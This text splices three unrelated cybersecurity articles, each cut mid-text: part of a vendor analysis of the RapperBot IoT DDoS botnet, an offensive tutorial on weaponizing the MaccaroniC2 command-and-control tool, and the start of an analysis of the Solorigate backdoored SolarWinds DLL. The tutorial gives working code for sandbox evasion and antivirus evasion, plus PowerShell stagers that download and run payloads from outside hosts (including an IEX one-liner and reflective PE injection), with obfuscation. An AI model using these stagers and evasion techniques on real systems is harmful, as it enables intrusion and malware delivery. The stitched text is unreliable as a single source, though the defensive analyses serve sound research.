Multi Player (SA:MP) 0x05: GRE Ethernet flood 0x06: GRE IP flood 0x07: Generic TCP flood These specific commands, coupled with the absence of HTTP-related DDoS attacks, suggests that this campaign is primarily geared toward game server DDoS. Telnet Self-propagation The most significant difference in the new campaign was the complete replacement of the SSH brute forcing code with the more usual Telnet equivalent.


FortiGuard Labs has observed similar drastic modifications within RapperBot samples, as detailed in our previous report, adding and removing even DoS attack code on an apparent whim.

New RapperBot Campaign  We Know What You Bruting for this Time


The Telnet brute forcing code is designed primarily for self-propagation and resembles the old Mirai Satori botnet.


Unlike the earlier SSH brute-forcing campaign, the plaintext credentials are embedded into the malware instead of being downloaded from the C2.


These credentials used appear to be default credentials for IoT devices.


To optimize brute forcing efforts, the malware compares the server prompt upon connection to a hardcoded list of strings to identify the possible device and then only tries the known credentials for that device.


Unlike less sophisticated IoT malware, this allows the malware to avoid trying to test a full list of credentials.


While not exactly a novel technique, it is still uncommon compared to other IoT botnets.


Based on the prompt messages hardcoded into the malware, most of the targeted devices are IoT devices such as routers and DVRs.


This campaign seems especially interested in older devices with the Qualcomm MDM9625 chipset, such as LTE modems.


It attempts to specifically gain root access to these devices via a default password, despite having the same credentials in the list embedded in the binary.


Like the earlier SSH brute-forcing campaign, once it has successfully gained access, it sends the credentials used, the compromised device’s IP address, and its architecture to the C2 server on a separate port, 5123.


After reporting, the malware attempts to install its main payload binary on the compromised device.


It first parses the Executable and Linkable Format (ELF) header of the /bin/busybox file for the e_machine field, which provides the architecture of the compromised device.


This allows it to download and deploy a RapperBot payload of the correct architecture to ensure proper execution.


This selective behavior is more efficient than the shotgun approach in most IoT malware families, whereby all the binaries for the supported architectures are downloaded and executed in the victim's system.


Based on the payload binaries we collected, this botnet currently seems to only target devices running on ARM, MIPS, PowerPC, SH4, and SPARC architectures.


Moreover, it specifically checks and stops its self-propagation if the device is detected to be running on Intel processors.


The bot then downloads its payload via software installed on the compromised device, such as ftpget, wget, curl, or tftp, before executing the payload.


If none of the software mentioned above is installed, it will extract and send an embedded binary downloader to the compromised device that executes and downloads the primary payload.


Unlike in Satori, these embedded downloaders are stored as escaped byte strings, probably to simplify parsing and processing within the code.


The binary downloaders are written by echoing the bytes and piping the content to a file in the victim system.


As labeled in Figure 4, each binary has a hardcoded URL for downloading the payload binary of the proper architecture.


No attempts to persist on infected or brute-forced devices were observed for this campaign.


Related Campaigns FortiGuard Labs compared samples for this and related campaigns from the past to find any links with the previously reported RapperBot campaign.


We observed that the earliest samples for this campaign were from December 2021 and that the SA:MP attack was only added in February 2022.


This campaign mysteriously disappeared in mid-April 2022, resurfacing in Oct 2022 with the addition of the self-propagation feature.


We also found older samples from another campaign that was active in August-September 2021 with an almost identical list of credentials.


These samples contain slightly fewer credentials and a simpler self-propagation code that only supports downloading the payload via wget or the binary downloader embedded directly into the sample.


This campaign did not support stopping or restarting the Telnet propagation, and while the samples support the same commands, their associated IDs did not match.


The similar lists of credentials suggest that the threat actor behind this current campaign has access to the source code for the earlier campaign, as this code was not found in other IoT malware samples.


Connections to RapperBot The fact that samples from both campaigns use the same C2 protocol, coupled with the absence of this campaign during the RapperBot campaign active between June and Aug 2022 and its recent reappearance, seems to be more than a coincidence.


With the several similarities between the two campaigns outlined below, we believe that either the same threat actor might be behind both campaigns or each campaign might have branched from the same privately-shared source code.


The C2 commands and corresponding IDs are identical in both campaigns (excluding the Telnet-related commands, as those do not apply to RapperBot) Both campaigns show a certain degree of effort in optimizing the brute forcing implementation.


Code for the brute forcing implementation is significantly more structured than typical IoT malware that copies and pastes code with minimal modifications.


RapperBot also supported the TCP STOMP attack popularized by Mirai.


This attack was not observed in the earlier campaigns mentioned above.


However, as both Mirai and Satori source code are publicly available, this is considered a very weak link between the campaigns.


If both campaigns were related, the reason for restarting an older campaign remains a mystery.


Conclusion Based on the undeniable similarities between this new campaign and the previously reported RapperBot campaign, it is highly likely that they are being operated by a single threat actor or by different threat actors with access to a privately-shared base source code.


Unlike the previous RapperBot campaign, this new campaign has a clear motivation to compromise as many IoT devices as possible to build a DDoS botnet.


Although this new campaign has evolved significantly from previous campaigns, mitigating it remains the same—setting strong passwords for all devices connected to the internet.


FortiGuard Labs will continue to monitor RapperBot’s development.


Fortinet Protections The FortiGuard Antivirus service detects and blocks this threat as ELF/Mirai, Linux/Mirai, and ELF/Gafgyt.


The FortiGuard AntiVirus service is supported by FortiGate, FortiMail, FortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions.


FortiGuard Labs provides the Rapper.


Botnet IPS signature against RapperBot C2 activity.


The FortiGuard Web Filtering Service blocks the C2 servers and download URLs.


FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.


IOCs Files 3d5c5d9e792e0a5f3648438b7510b284f924ab433f08d558b6e082e1d5414a03 7afcac5f71e9205879e0e476d3388898a62e7aa4a3e4a059884f40ea36cfd57f 8ec79a35700f6691f0d88d53647e9f2b75648710ecd119e55815331fc3bdd0b5 a12ad4bc394d60bc037271e1c2df1bd2b87bdaaba85f6c1b7d046341f027cc2d f000bf482040b48595badee1fc56afb95449ac48b5dc35fe3a05542cbf18f658 4aa9175c1846557107ec197ea73d4cc8dbe6d575a8fd86ae214ff9b3a00e438b f98261eb7dc122449c158118cc9c660683206983a9e90ff73eb88c4705e0c48e Download URLs hxxp://185[.]216[.]71[.]149/armv4l hxxp://185[.]216[.]71[.]149/armv5l hxxp://185[.]216[.]71[.]149/armv6l hxxp://185[.]216[.]71[.]149/armv7l hxxp://185[.]216[.]71[.]149/mips hxxp://185[.]216[.]71[.]149/mipsel hxxp://185[.]216[.]71[.]149/powerpc hxxp://185[.]216[.]71[.]149/sparc hxxp://185[.]216[.]71[.]149/sh4 hxxp://185[.]216[.]71[.]149/bot_arm4_el hxxp://185[.]216[.]71[.]149/bot_arm5_el hxxp://185[.]216[.]71[.]149/bot_arm6_el hxxp://185[.]216[.]71[.]149/bot_arm7_el hxxp://185[.]216[.]71[.]149/bot_mips_eb hxxp://185[.]216[.]71[.]149/bot_mips_el hxxp://185[.]216[.]71[.]149/bot_sh_el C2 185[.]216[.]71[.]149 Learn more about Fortinet’s FortiGuard Labs threat research and global intelligence organization and Fortinet’s FortiGuard AI-powered Security Services portfolio.


Sign up to receive our threat research blogs.


2 0 DISCLAIMER – This article is provided for educational and informational purposes only.

Inside the Mind of a Cyber Attacker from Malware creation to Data Exfiltration Part 1


The techniques, tools, and examples discussed are intended to promote a better understanding of cybersecurity and to enhance defensive measures.


The usage of these techniques should strictly adhere to applicable laws, regulations, and ethical guidelines.


The author and publisher of this article shall not be held responsible for any misuse or illegal activities conducted by individuals or entities based on the information provided.


Additionally, it’s important to note that the usage of Ngrok in conjunction with MaccaroniC2 tool may result in the violation of the terms of service or policies of certain platforms.


It is advisable to review and comply with the terms of use of any platform or service to avoid potential account bans or disruptions.


Introduction Embark on a journey into the intricate world of cyber attacks as we unravel paths taken by adversaries from malware creation to data exfiltration.


In this comprehensive exploration, we delve into the stages that comprise the attack lifecycle, analyzing the process from infecting to exfiltration, with a particular focus on weaponization.


Presenting MaccaroniC2 In this article, we’ll explore MaccaroniC2 ( https://github.com/CalfCrusher/MaccaroniC2 ), a proof-of-concept Command & Control framework that leverages the versatile features of the AsyncSSH Python library ( https://asyncssh.readthedocs.io ) with the integration of PyNgrok, a wrapper for Ngrok ( https://ngrok.com ).


This tool is designed to address a specific scenario where the victim operates an AsyncSSH server and establishes an external tunnel, eagerly awaiting commands from the attacker.


By harnessing the powerful capabilities of the AsyncSSH library, which provides an exceptional implementation of the SSHv2 protocol, this tool ensures efficient and secure communication between the attacker and the victim.


Some key features of the AsyncSSH library include: Asynchronous Execution: AsyncSSH is built with asynchronous programming in mind, allowing you to perform SSH operations concurrently without blocking the execution flow.


SSH Protocol Support: It provides support for various SSH protocol versions, including SSH1, SSH2, and the ability to negotiate and handle different encryption and authentication methods.


Key-Based Authentication: AsyncSSH supports public key authentication, allowing you to authenticate with SSH servers using key pairs instead of passwords.


SFTP Support: It includes a built-in SFTP (SSH File Transfer Protocol) implementation, enabling you to securely transfer files between the local and remote systems over the SSH connection.


Event-driven API:


The library follows an event-driven programming model, allowing you to register event handlers and callbacks to handle SSH-related events such as connection establishment, authentication, command execution, and data transfer.


In a hardened network environment scenario, establishing a connection to an Ngrok server can be easily detected by EDR (Endpoint Detection and Response) systems and other tools designed to monitor network traffic.


To avoid raising suspicion and maintaining a higher level of control over the server setup, it is recommended to use a self-hosted server instead of Ngrok.


Check the project: https://github.com/CalfCrusher/MaccaroniC2 Weaponizing malware: MaccaroniC2 with steroids In real-world scenarios, it is essential to embrace the mindset of a determined threat actor striving to enhance the effectiveness of their malware while maintaining covert operations.


With this objective in mind, we will delve into custom modifications to the server side of MaccaroniC2, uncovering fundamental concepts that enable us to effectively weaponize our tool for diverse real-world scenarios.


Virtualization/Sandbox Evasion are those techniques utilized by adversaries as a part of their defense evasion strategy to detect and avoid virtualization and analysis environments, such as malware analysis sandboxes.


Sandbox evasion is indeed a complex and evolving field.


While it’s not possible to cover all aspects of sandbox evasion in just a few lines of Python code, we’ll see some general basic techniques and concepts that can be used to try to recognize a sandbox or a virtual environment:


# Technique 1: Check for common sandbox-related processes sandbox_processes =


["vmsrvc.exe", "vmusrvc.exe", "vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", "vmacthlp.exe", "vmtools.exe", "df5serv.exe"] running_processes = subprocess.check_output("tasklist", shell=True).decode().lower()


This code essentially checks if certain processes that are commonly associated with sandbox environments or virtual machines are running.


This information can be helpful in determining whether the code is running in a protected or controlled environment rather than on a regular user’s machine.


# Technique 3: Check if running in a sandboxed network environment sandboxed_networks =


", "192.168.44.


", "172.16.0.


", "172.16.1.", "172.16.2.", "172.16.3.", "172.16.4.


", "172.16.5.", "172.16.6.", "172.16.7.", "172.16.8.", "172.16.9.", "172.16.10.", "172.16.11.", "172.16.12.", "172.16.13.", "172.16.14.", "172.16.15."] local_ip = socket.gethostbyname(socket.gethostname())


Here we can see how this code comparing the local IP address with a predefined list of network addresses typically associated with sandboxed environments.


If the local IP address matches any of the addresses in the list, it suggests that the program could be ran in a sandboxed environment.


It’s just the first clue but we have to start somewhere ;).


# Technique 4: Check for virtualized CPU features cpu_info = cpuinfo.get_cpu_info() virtualized_cpu_features =


["hypervisor", "vmx", "svm", "vmm", "nx"] if any(feature in cpu_info["flags"] for feature in virtualized_cpu_features): return True


Here we can see another piece of code that checks for virtualization by examining the CPU features.


It uses the cpuinfo Python module to retrieve information about the CPU.


The code defines a list of virtualized CPU features and then checks if any of these features are present in the CPU information’s “flags” field.


If any feature is found, the code returns True, indicating the presence of virtualization.


# Technique 5: Check if disk size is greater than 50 GB min_disk_size_gb = 50 if len(sys.argv) >


1: min_disk_size_gb = float(sys.argv[1]) _, disk_size_bytes, _ = win32api.


GetDiskFreeSpaceEx() disk_size_gb = disk_size_bytes / 1073741824


if disk_size_gb > min_disk_size_gb: return False # Proceed else: return True # Not Proceed This code checks if the disk size is greater than a specified threshold (50 GB as example).


It uses the win32api.


GetDiskFreeSpaceEx() function to retrieve the disk size in bytes.


It converts the size to gigabytes by dividing it by 1073741824 (the number of bytes in a gigabyte).


After comparing the disk size in gigabytes to the specified min_disk_size_gb, if the disk size is greater, the code returns False.


However, if the disk size falls below the minimum threshold, it returns True, signaling that the script should stop from proceeding further because we assume that we’re inside a VM environment or a sandbox.


It should be noted that these techniques are basic examples and represent fundamental practices in the field of malware development and sandbox detection.


Let’s go further.


In MaccaroniC2 original tool, the SSH Pub Key is hardcoded.


What about requesting it every time script is running ?


In this case we choose to host it online for multiple reasons: Usually, attackers employs techniques by leveraging third-party services such pastebin.com and similars, to store piece of code or stagers.


This method of operation, widely utilized by advanced threat actors, is a classic within the realm of Advanced Persistent Threats (APTs).


By employing multiple layers of staging, the attacker artfully conceals the true nature of the malware, placing it several steps removed from the initial infection.


def get_pub_key(): """Get SSH pub key from third party service""" try: global PRIVATE_KEY global AUTHORIZED_KEY url = "https://pastebin.com/raw/XXXXXXX" r = requests.get(url) if r.status_code == 200: pub_key


= r.text.strip('\n') elif r.status_code == 404: exit() #


So Long, and Thanks for All the Fish!


except: exit('[-]


Error: Could not get SSH pub key')


As we can see, in this approach we take a different path by avoiding the hardcoding of the pub_key and instead harnessing the advantages provided by services such as pastebin.com, transfersh.com or similar services.


It offers flexibility in determining the number of allowed downloads and the duration for which files will be stored.


Additionally, some of these platforms even allow for modifying the content of generated URI, enhancing the adaptability and control over the shared resources.


By embracing this approach, we could have the capability to generate fresh RSA key pairs, empowering our tool to download a different key in the subsequent system reboot.


This becomes particularly valuable when pursuing persistence objectives.


To enhance control, we could also incorporate a dedicated function that checks for the removal of the pub_key: if such a detection occurs, then proceed to initiate the removal of its own presence or any existing persistence mechanisms.


Additionally, we could incorporate a special Canary Token within our script: Canary tokens are unique markers that are placed within systems or scripts to act as early warning indicators.


They allow us to detect specific events or actions with an extensive range of options to create decoy assets, each designed to provide valuable intelligence and real-time notifications: from email alerts to webhook integrations and many other features for monitoring and security needs.


For further information check official site: https://canarytokens.org/generate


In our case, we could configure the script to perform a designated action if the URI is no longer accessible, such as notifying us if the file has been removed.


When the script fails to download the id_rsa.pub key, it triggers a canary token, which generates a signal after encountering a 404 error status code.


In this case we received an email alerting us of the event.


Dynamic and crypted AUTH Ngrok Token


In MaccaroniC2 original tool, the Ngrok Auth Token is hardcoded also.


In this scenario, we’ll apply a similar approach as before, but with a slight twist: we want to avoid publicly uploading our token in plain text.


To achieve this, we’ll encrypt the token and upload it to a file-sharing service like transfersh.com The script will download and decrypt the string that represents the token.


This decryption process utilizes the Fernet algorithm, ensuring the secure retrieval and utilization of the token.


Fernet is a symmetric encryption algorithm and token format used for secure communication and data protection.


It is a part of the cryptography library in Python called “cryptography.”


It utilizes symmetric key cryptography, where the same secret key is used for both encryption and decryption.


It ensures confidentiality and integrity of data by combining encryption with a message authentication code (MAC).


The Fernet token format includes the encrypted data and a timestamp to prevent tampering.


It provides a straightforward and secure way to encrypt and authenticate data, making it suitable for various applications that require secure communication and storage.


def fernet_decrypt(encrypted_string, password): """Decrypt Ngrok AUTH Token""" try: key = generate_key_from_password(password) cipher = Fernet(key) decrypted_message = cipher.decrypt(encrypted_string) return decrypted_message.decode() except: exit('[-]


Error: Could not decrypt AUTH Token') def get_auth_token(): """Get AUTH Token from third party service""" try:


url = "https://pastebin.com/raw/YYYYYY" r = requests.get(url) if r.status_code == 200: password_for_decrypt = 'P4ssw0rd!'


crypted_data = r.text.strip('\n') return fernet_decrypt(crypted_data, password_for_decrypt) elif r.status_code == 404:


# Here we could insert a request to a canary token to be notified of the event if the file is not found # - for persistence purpose - exit() # So Long, and Thanks for All the Fish!


Error: Could not get AUTH Token')


The provided code includes two functions: fernet_decrypt and get_auth_token.


The fernet_decrypt function decrypts an encrypted string representing the Ngrok AUTH Token using a harcoded password.


It returns the decrypted message as a decoded string.


The get_auth_token function retrieves the AUTH Token from a third-party service, in this example pastebin.


It checks the response status code and proceeds accordingly.


If the response is successful, it use the harcoded password for decryption using the fernet_decrypt function, and returns the decrypted AUTH Token.


If the response status code is 404, we can say attack is concluded and we could insert a potential a canary token for notification purposes .


These examples provide ideas and possibilities, showcasing how attackers can leverage High-Level languages like Python to weaponize and elevate the capabilities of their malware.


Check full project of custom MaccaroniC2 server at: https://github.com/hacktivesec/MaccaroniC2/blob/main/weaponized_server.py Prepararing Cannons: Nuitka in action Python Nuitka is a specialized compiler for Python.


It’s designed to convert Python code into highly optimized C/C++ code, which is then compiled into native machine code.


The resulting executable can be distributed and executed without requiring the Python interpreter to be installed on the target system.


When it comes to compiling malware, Nuitka offers some potential advantages over other Python compilers such as PyInstaller or Py2exe:


Performance: Nuitka Compiler aims to generate highly optimized C/C++ code, which can result in improved performance compared to interpreted Python code.


This can be advantageous for malware authors who want their malicious code to execute more efficiently and quickly.


Reduced Dependencies: By compiling Python code into standalone executables, Nuitka Compiler eliminates the need for the target system to have a Python interpreter installed.


This can make the malware distribution easier and less reliant on specific Python versions or configurations.


Code Protection:


Nuitka Compiler employs various optimization techniques and obfuscation mechanisms during the compilation process.


This can make the resulting executable more challenging to reverse-engineer and analyze, adding an extra layer of protection for the malware.


Detection Evasion:


As Nuitka Compiler generates native machine code, it can potentially evade certain signature-based detection methods used by security tools that primarily focus on detecting interpreted Python scripts.


This may offer a limited advantage in evading detection by some antivirus or security solutions.


Installation and compilation is straightforward:


python -m pip install nuitka python


-m nuitka --standalone --onefile maccaronic2_server.py Our newly generate PE file is ready to go.


We can proceed to test this under the presence of Windows Defender, ensuring that all settings, including Cloud Protection and Antitamper modes are enabled.


This will allow us to evaluate the effectiveness of our malware in evading the defensive measures implemented by Windows Defender.


Nice !


In the absence of advanced evasion techniques such as binders, packers, and crypters, our ‘malware’ effectively bypasses Windows Defender without relying on complex obfuscation methods.


Let’s try on VirusTotal Not bad !


While some vendors were able to spot the malware itself, they seemed to focus on detecting the use of the Nuitka compiler.


Recognizing this pattern, i realized that by making targeted modifications to the Nuitka compiler code, we could potentially achieve 100% FUD (Fully Undetected) obfuscation.


However, it is crucial to remember that this approach requires a deep understanding of both malware detection techniques employed by antiviruses.


It also demands continuous research and adaptation as antivirus technologies evolve.


This just opens up new possibilities for evading detection, when using Python to develop malware.


It should be noted anyway in the world of real malware development, seasoned and skilled adversaries often turn to programming languages such as C and C++ to craft their malicious creations at a lower level.


While higher-level languages like Python offer ease of use and rapid development, the power and control provided by lower-level languages are paramount in the realm of sophisticated malware: one of the primary reasons for choosing C and C++ is the level of control they provide over system resources and hardware.


These languages allow direct memory manipulation, access to system APIs, and the ability to write efficient and optimized code.


This level of control enables malware developers to create stealthy, complex, and tailored malicious functionalities that can evade detection and exploit vulnerabilities in the targeted environment.


Windows Shortcut (LNK) “Weaponize” is a term that refers to the first phase of the kill chain and it is categorized as the Build Capabilities technique under Resource Development tactic of the MITRE ATT&CK framework.


Building capabilities consist of creating custom payloads, post-compromise and remote access tool development, creating infected removable media, and similar techniques.


The goal is to create and deliver the first payload to the target according to the environment.


Several tools are available to create an initial payload, such as a self-extracting archive (SFX).


A classic technique used mostly by Advanced Persistent Threat (APT) groups is the use of LNK files when delivering malware: shortcut files that point to other files.


These files have been used as an attack vector as early as 2013.


For example, the APT group Gamaredon has put LNK files to work, including a campaign that started in August 2022 against organizations in Ukraine.


Attackers are using LNK files to download malware or other malicious files by leveraging legitimate native apps, such as PowerShell.


For instance, this is a PowerShell one-liner that can be used to download and execute a remote .ps1 or .exe file: powershell "IEX(New-Object Net.


WebClient).downloadString('http://IP:PORT/malicious.ps1')" The .ps1 file could be a simple stager download of an .exe file and its execution.


This is a clever technique that has been used for years, including in the Stuxnet attacks that were first uncovered in 2010.


It’s an effective technique because it exploits a fundamental feature of Windows, which is to automatically launch executables using the metadata stored in the LNK file.


The .ps1 file can also be a complex script that can also achieve persistence with more functionalities.


Some attackers go even further by appending the stager to the LNK file.


In this case, the PowerShell one-liner will find, decrypt, and execute code appended to the original file.


Lastly, this will run a series of “stagers” with the object to delivery the final malware inside the victim’s computer.


An ounce of practice is worth more than tons of preaching Gandhi After theory, comes practice!


One Shot, One Kill – Upload PE File Before start coding the .ps1 stager, we need to upload the PE file build early, using transfersh.com: curl -H "Max-Downloads: 1" -H "Max-Days: 5" --upload-file ./final_server.exe


https://transfersh.com/WindowsUpdate Output: https://transfersh.com/XXXXXXXX/WindowsUpdate After one download the file will be deleted and link will returns a 404 error.


We can choose also how many days the file be stored.


Powershell Stager / Dropper $down = New-Object System.


Net.


WebClient $url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' $file =


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $down.


DownloadFile($url, $file) $exec = New-Object -ComObject shell.application $exec.


ShellExecute($file)


This is a simple PowerShell script that downloads a file from a fixed location and executes it.


Here’s what each line does: $down = New-Object System.


WebClient


This line creates a new WebClient object and assigns it to the variable $down.


The WebClient class provides common methods for sending data to and receiving data from a resource identified by a URI.


$url = 'https://transfersh.com/ZZZZZZZ/WindowsUpdate' This line sets the value of the $url variable to the URL of the file to be downloaded.


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe')


This line uses the Combine method of the Path class to combine the temporary folder path (retrieved using the GetTempPath method) with the file name ‘WindowsUpdate.exe’.


The resulting path is assigned to the $file variable. $down.


DownloadFile($url, $file)


This line uses the DownloadFile method of the WebClient object to download the file from the specified URL and save it to the specified local file path.


$exec = New-Object -ComObject shell.application This line creates a new Shell.


Application COM object and assigns it to the $exec variable.


The Shell.


Application object provides methods for working with the Windows shell.


$exec.


This line uses the ShellExecute method of the Shell.


Application object to execute the downloaded file.


But we want more.


It’s important to note that we have previously configured the Max-Download parameter to a one-shot only download.


In addition to the previous modifications, we now aim to keep track of every attempt to execute our stager after the initial compromise: whenever a 404 error is detected, indicating that the file is no longer available on the server, we’ll request a URL using canarytokens.org As said early this serves as a signal to log the event and provides valuable information for monitoring and analysis purposes.


Powershell Stager with trigger $down = New-Object System.


[System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'WindowsUpdate.exe') $request =


[System.Net.WebRequest]::Create($url) $request.


Method = 'HEAD' $response = $null try { $response = $request.


GetResponse() $statusCode =


[int]$response.StatusCode if ($statusCode -eq 200) { # Successful response with HTTP status code 200 $down.


ShellExecute($file) } } catch [System.


WebException] { $statusCode =


StatusCode if ($statusCode -eq 404) { # File not found, make a GET request to a fixed URI generated on canarytokens.org $fixedUrl = 'http://canarytokens.com/feedback/about/XXXXXXXXXX/submit.aspx' $response = $down.DownloadString($fixedUrl) } else { throw } } By implementing a smart error handling mechanism we can enhance our system’s monitoring capabilities: upon receiving a 404 response from a specific URL, we can trigger a subsequent GET request to a fixed URI generated on canarytokens.org.


This script will not trigger AMSI (Antimalware Scan Interface), providing an advantage in evading detection.


However, to add an extra layer of complexity and challenge for malware analysts, we will apply some obfuscation techniques using a helpful tool like Chameleon: https://github.com/klezVirus/chameleon This tool has been developed as a Python port of the Chimera project, by tokioneon_.


As such, it uses mostly the same techniques to evade common detection signatures, like: comment deletion/substitution string substitution (variables, functions, data-types) variable concatenation indentation randomization semi-random backticks insertion case randomization encoding Let’s try: python chameleon.py -n


-v -b -K hacktivesec -t


h .\download-execute_full.ps1 -o obfuscated_stager.ps1


By incorporating obfuscation techniques our script becomes a little bit more challenging to analyze.


It should be noted that this entire procedure will leave traces on filesystem.


The PE file is downloaded on filesystem and than executed.


To enhance operational security, we can employ a clever alternative approach that eliminates the need to download files directly onto the victim’s computer: PE reflective injection.


Reflective PE injection Reflective PE injection is a technique used by malware or advanced attackers to inject a Portable Executable (PE) file directly into the memory of a running process without the need for writing the file to disk.


Unlike traditional injection methods, which involve loading an external DLL or injecting code into the target process, reflective PE injection allows the malware to load and execute its code directly from memory.


The term “reflective” refers to the ability of the injected code to reflect upon itself and perform necessary operations to execute within the process’s memory space.


This technique is often employed to bypass security mechanisms that monitor or block external DLL loading or code injection.


In reflective PE injection, the PE file is parsed and its sections are reconstructed in the target process’s memory.


The necessary data structures, such as headers and import tables, are reconstructed as well.


By doing so, the injected code can appear as a legitimate part of the process, making it more difficult to detect and analyze.


Once the PE file is injected and reconstructed in memory, the execution flow can be redirected to the injected code, enabling the malware to operate within the context of the compromised process.


This technique provides several advantages to attackers, including stealthiness, persistence, and the ability to leverage the privileges and resources of the compromised process.


PowerSploit does provide a module called “Invoke-ReflectivePEInjection” that facilitates reflective PE injection using PowerShell.


This module allows the injection of a PE file into a remote or local process’s memory without writing it to disk, but being a well-known and widely-used tool, it has gained significant attention from security vendors and technologies, including the Antimalware Scan Interface (AMSI).


As a result, AMSI has become increasingly adept at detecting and flagging the usage of PowerSploit’s modules and techniques and other famous tools.


But we’ll see how to bypass this.


Powershell Stager with Invoke-ReflectivePEInjection (New-Object System.


Net.WebClient).DownloadString('https://example.com/ReflectivePEInjection.ps1') | IEX $remoteUrl = "https://transfersh.com/XXXXXXX/whatever.exe" $webClient = New-Object System.


WebClient $PEBytes = $webClient.DownloadData($remoteUrl) Invoke-ReflectivePEInjection -PEBytes $PEBytes We can host this script somewhere and then run as usually in a fancy oneliner like: powershell -nop


-exec bypass -c "(New-Object System.


WebClient).DownloadString('https://transfersh.com/XXXXXXX/runme.ps1') | IEX"


In this way, we can directly run the executable in the memory of a running process without the need to write the file to disk.


However when AMSI (Antimalware Scan Interface) is activated, it will alert us, as mentioned before.


Conclusion The first part of this article concludes here, however, our exploration doesn’t end here!


In the next upcoming article, we will dive deep into the intricacies of bypassing AMSI, unraveling detailed techniques and methods that will empower us to evade it.


We will also explore cutting-edge countermeasures to enhance our offensive capabilities.


Moreover, we’ll delve into a wide range of exciting topics, including: User-level persistence to establish long-term presence and maintain access on compromised systems.


Exploring advanced exfiltration techniques, enabling the covert transfer of sensitive data from target environments.


Spawning new Command and Control (C2) agents, expanding our reach and maintaining resilient communication channels.


Hijack Execution Flow: the art of DLL Side-Loading ! Thank you for reading!


References Happy 0 0 % Sad 0 0 % Excited 1 100 % Sleepy 0 0 %


Angry 0 0 % Surprise 0 0 %


We, along with the security industry and our partners, continue to investigate the extent of the Solorigate attack.

Analyzing Solorigate the compromised DLL file that started a sophisticated cyberattack and how Microsoft Defender helps protect customers


While investigations are underway, we want to provide the defender community with intelligence to understand the scope, impact, remediation guidance, and product detections and protections we have built in as a result.


We have established a resource center that is constantly updated as more information becomes available at https://aka.ms/solorigate.


While the full extent of the compromise is still being investigated by the security industry as a whole, in this blog we are sharing insights into the compromised SolarWinds Orion Platform DLL that led to this sophisticated attack.


The addition of a few benign-looking lines of code into a single DLL file spelled a serious threat to organizations using the affected product, a widely used IT administration software used across verticals, including government and the security industry.


The discreet malicious codes inserted into the DLL called a backdoor composed of almost 4,000 lines of code that allowed the threat actor behind the attack to operate unfettered in compromised networks.


The fact that the compromised file is digitally signed suggests the attackers were able to access the company’s software development or distribution pipeline.


Evidence suggests that as early as October 2019, these attackers have been testing their ability to insert code by adding empty classes.


Therefore, insertion of malicious code into the SolarWinds.Orion.Core.BusinessLayer.dll likely occurred at an early stage, before the final stages of the software build, which would include digitally signing the compiled code.


As a result, the DLL containing the malicious code is also digitally signed, which enhances its ability to run privileged actions—and keep a low profile.


In many of their actions, the attackers took steps to maintain a low profile.


For example, the inserted malicious code is lightweight and only has the task of running a malware-added method in a parallel thread such that the DLL’s normal operations are not altered or interrupted.


This method is part of a class, which the attackers named OrionImprovementBusinessLayer to blend in with the rest of the code.


The class contains all the backdoor capabilities, comprising 13 subclasses and 16 methods, with strings obfuscated to further hide malicious code.


Once loaded, the backdoor goes through an extensive list of checks to make sure it’s running in an actual enterprise network and not on an analyst’s machines.


It then contacts a command-and-control (C2) server using a subdomain generated partly from information gathered from the affected device, which means a unique subdomain for each affected domain.


This is another way the attackers try to evade detection.


With a lengthy list of functions and capabilities, this backdoor allows hands-on-keyboard attackers to perform a wide range of actions.


As we’ve seen in past human-operated attacks, once operating inside a network, adversaries can perform reconnaissance on the network, elevate privileges, and move laterally.


Attackers progressively move across the network until they can achieve their goal, whether that’s cyberespionage or financial gain.


Solorigate malware infection chain


The challenge in detecting these kinds of attacks means organizations should focus on solutions that can look at different facets of network operations to detect ongoing attacks already inside the network, in addition to strong preventative protection.


We have previously provided guidance and remediation steps to help ensure that customers are empowered to address this threat.


In this blog, we’ll share our in-depth analysis of the backdoor’s behavior and functions, and show why it represents a high risk for business environments.


We’ll also share details of the comprehensive endpoint protection provided by Microsoft Defender for Endpoint.


In another blog, we discuss protections across the broader Microsoft 365 Defender, which integrates signals from endpoints with other domains – identities, data, cloud – to provide coordinated detection, investigation, and remediation capabilities.


Read: Using Microsoft 365 Defender to protect against Solorigate.


Where it all starts: A poisoned code library The attackers inserted malicious code into SolarWinds.Orion.Core.BusinessLayer.dll, a code library belonging to the SolarWinds Orion Platform.


The attackers had to find a suitable place in this DLL component to insert their code.


Ideally, they would choose a place in a method that gets invoked periodically, ensuring both execution and persistence, so that the malicious code is guaranteed to be always up and running.


Such a suitable location turns out to be a method named RefreshInternal.


Figure 2: The method infected with the bootstrapper for the backdoor Figure 3: What the original method looks like The modification to this function is very lightweight and could be easily overlooked—all it does is to execute the method OrionImprovementBusinessLayer.


Initialize within a parallel thread, so that the normal execution flow of RefreshInternal is not altered.


Why was this method chosen rather than other ones?


A quick look at the architecture of this DLL shows that RefreshInternal is part of the class SolarWinds.


Orion.


BusinessLayer.


BackgroundInventory.


InventoryManager and is invoked by a sequence of methods that can be traced back to the CoreBusinessLayerPlugin class.


The purpose of this class, which initiates its execution with a method named Start (likely at an early stage when the DLL is loaded), is to initialize various other components and schedule the execution of several tasks.


Among those tasks is Background Inventory, which ultimately starts the malicious code.


The inserted malicious code runs within a parallel thread The functionality of the backdoor resides entirely in the class OrionImprovementBusinessLayer, comprising 13 subclasses and 16 methods.


Its name blends in with the rest of the legitimate code.


The threat actors were savvy enough to avoid give-away terminology like “backdoor”, “keylogger”, etc., and instead opted for a more neutral jargon.


At first glance, the code in this DLL looks normal and doesn’t raise suspicions, which could be part of the reason why the insertion of malicious code was undetected for months, especially if the code for this DLL was not frequently updated.


To have some minimal form of obfuscation from prying eyes, the strings in the backdoor are compressed and encoded in Base64, or their hashes are used instead.


Figure 5: Example of obfuscated strings Initial reconnaissance The Initialize method is the de facto execution entry point of the backdoor.


It carries out several checks to verify that it is running in a real victim’s environment: It verifies that the process hosting the malicious DLL is named solarwinds.businesslayerhost.exe


